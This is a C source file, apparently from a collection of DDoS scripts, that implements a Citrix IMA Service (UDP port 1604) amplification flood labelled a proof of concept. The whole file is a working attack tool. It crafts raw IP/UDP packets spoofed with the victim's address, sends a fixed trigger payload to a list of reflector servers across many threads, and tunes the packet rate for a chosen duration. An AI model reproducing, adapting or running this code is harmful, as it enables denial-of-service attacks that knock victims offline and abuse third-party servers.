Path: blob/master/DDOS Scripts/AMP Methods/Port 1604 - Citrix/citrix.c
4622 views
/*-------------------------------1Citrix IMA Service Amplification PoC on the dumb template C script.2- Phenomite3-------------------------------*/4#include <arpa/inet.h>5#include <netinet/ip.h>6#include <netinet/udp.h>7#include <pthread.h>8#include <stdio.h>9#include <stdlib.h>10#include <string.h>11#include <sys/socket.h>12#include <time.h>13#include <unistd.h>1415static unsigned int DPORT = 1604;16static const char PAYLOAD[] =17"\x2a\x00\x01\x32\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"18"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x21\x00\x02\x00\x00\x00\x00\x00"19"\x00\x00\x00\x00\x00\x00";2021// Phenomite template begin22#define MAX_PACKET_SIZE 409623#define PHI 0xaaf219b924static uint32_t Q[4096], c = 362436;25static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;2627struct list {28struct sockaddr_in data;29struct list *next;30struct list *prev;31};32struct list *head;33volatile int tehport;34volatile int limiter;35volatile unsigned int pps;36volatile unsigned int sleeptime = 100;37struct thread_data {38int thread_id;39struct list *list_node;40struct sockaddr_in sin;41};4243void init_rand(uint32_t x) {44int i;45Q[0] = x;46Q[1] = x + PHI;47Q[2] = x + PHI + PHI;48for (i = 3; i < 4096; i++) {49Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;50}51}5253uint32_t rand_cmwc(void) {54uint64_t t, a = 18782LL;55static uint32_t i = 4095;56uint32_t x, r = 0xfffffffe;57i = (i + 1) & 4095;58t = a * Q[i] + c;59c = (t >> 32);60x = t + c;61if (x < c) {62x++;63c++;64}65return (Q[i] = r - x);66}6768/* function for header checksums */69unsigned short csum(unsigned short *buf, int nwords) {70unsigned long sum;71for (sum = 0; nwords > 0; nwords--)72sum += *buf++;73sum = (sum >> 16) + (sum & 0xffff);74sum += (sum >> 16);75return (unsigned short)(~sum);76}7778void setup_ip_header(struct iphdr *iph) {79iph->ihl = 5;80iph->version = 4;81iph->tos = 0;82iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;83iph->id = htonl(61337);84iph->frag_off = 0;85iph->ttl = MAXTTL;86iph->protocol = IPPROTO_UDP;87iph->check = 0;88iph->saddr = inet_addr("127.0.0.1");89}90void setup_udp_header(struct udphdr *udph) {91udph->source = htons(61337);92udph->dest = htons(DPORT);93udph->check = 0;94memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);95udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);96}97void *flood(void *par1) {98struct thread_data *td = (struct thread_data *)par1;99char datagram[MAX_PACKET_SIZE];100struct iphdr *iph = (struct iphdr *)datagram;101struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);102struct sockaddr_in sin = td->sin;103struct list *list_node = td->list_node;104int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);105if (s < 0) {106fprintf(stderr, "Could not open raw socket.\n");107exit(-1);108}109init_rand(time(NULL));110memset(datagram, 0, MAX_PACKET_SIZE);111setup_ip_header(iph);112setup_udp_header(udph);113udph->source = htons(tehport);114iph->saddr = sin.sin_addr.s_addr;115iph->daddr = list_node->data.sin_addr.s_addr;116iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);117int tmp = 1;118const int *val = &tmp;119if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {120fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");121exit(-1);122}123init_rand(time(NULL));124register unsigned int i;125i = 0;126while (1) {127list_node = list_node->next;128iph->daddr = list_node->data.sin_addr.s_addr;129iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);130iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);131sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,132sizeof(list_node->data));133pps++;134if (i >= limiter) {135i = 0;136usleep(sleeptime);137}138i++;139}140}141int main(int argc, char *argv[]) {142if (argc < 6) {143fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",144argv[0]);145exit(-1);146}147srand(time(NULL));148int i = 0;149head = NULL;150fprintf(stdout, "Loading list to buffer\n");151int max_len = 512;152char *buffer = (char *)malloc(max_len);153buffer = memset(buffer, 0x00, max_len);154tehport = atoi(argv[2]);155int num_threads = atoi(argv[4]);156int maxpps = atoi(argv[5]);157limiter = 0;158pps = 0;159int multiplier = 20;160FILE *list_fd = fopen(argv[3], "r");161while (fgets(buffer, max_len, list_fd) != NULL) {162if ((buffer[strlen(buffer) - 1] == '\n') ||163(buffer[strlen(buffer) - 1] == '\r')) {164buffer[strlen(buffer) - 1] = 0x00;165if (head == NULL) {166head = (struct list *)malloc(sizeof(struct list));167bzero(&head->data, sizeof(head->data));168head->data.sin_addr.s_addr = inet_addr(buffer);169head->next = head;170head->prev = head;171} else {172struct list *new_node = (struct list *)malloc(sizeof(struct list));173memset(new_node, 0x00, sizeof(struct list));174new_node->data.sin_addr.s_addr = inet_addr(buffer);175new_node->prev = head;176new_node->next = head->next;177head->next = new_node;178}179i++;180} else {181continue;182}183}184struct list *current = head->next;185pthread_t thread[num_threads];186struct sockaddr_in sin;187sin.sin_family = AF_INET;188sin.sin_addr.s_addr = inet_addr(argv[1]);189struct thread_data td[num_threads];190for (i = 0; i < num_threads; i++) {191td[i].thread_id = i;192td[i].sin = sin;193td[i].list_node = current;194pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);195}196fprintf(stdout, "Yeeting\n");197for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {198usleep((1000 / multiplier) * 1000);199if ((pps * multiplier) > maxpps) {200if (1 > limiter) {201sleeptime += 100;202} else {203limiter--;204}205} else {206limiter++;207if (sleeptime > 25) {208sleeptime -= 25;209} else {210sleeptime = 0;211}212}213pps = 0;214}215return 0;216}217218219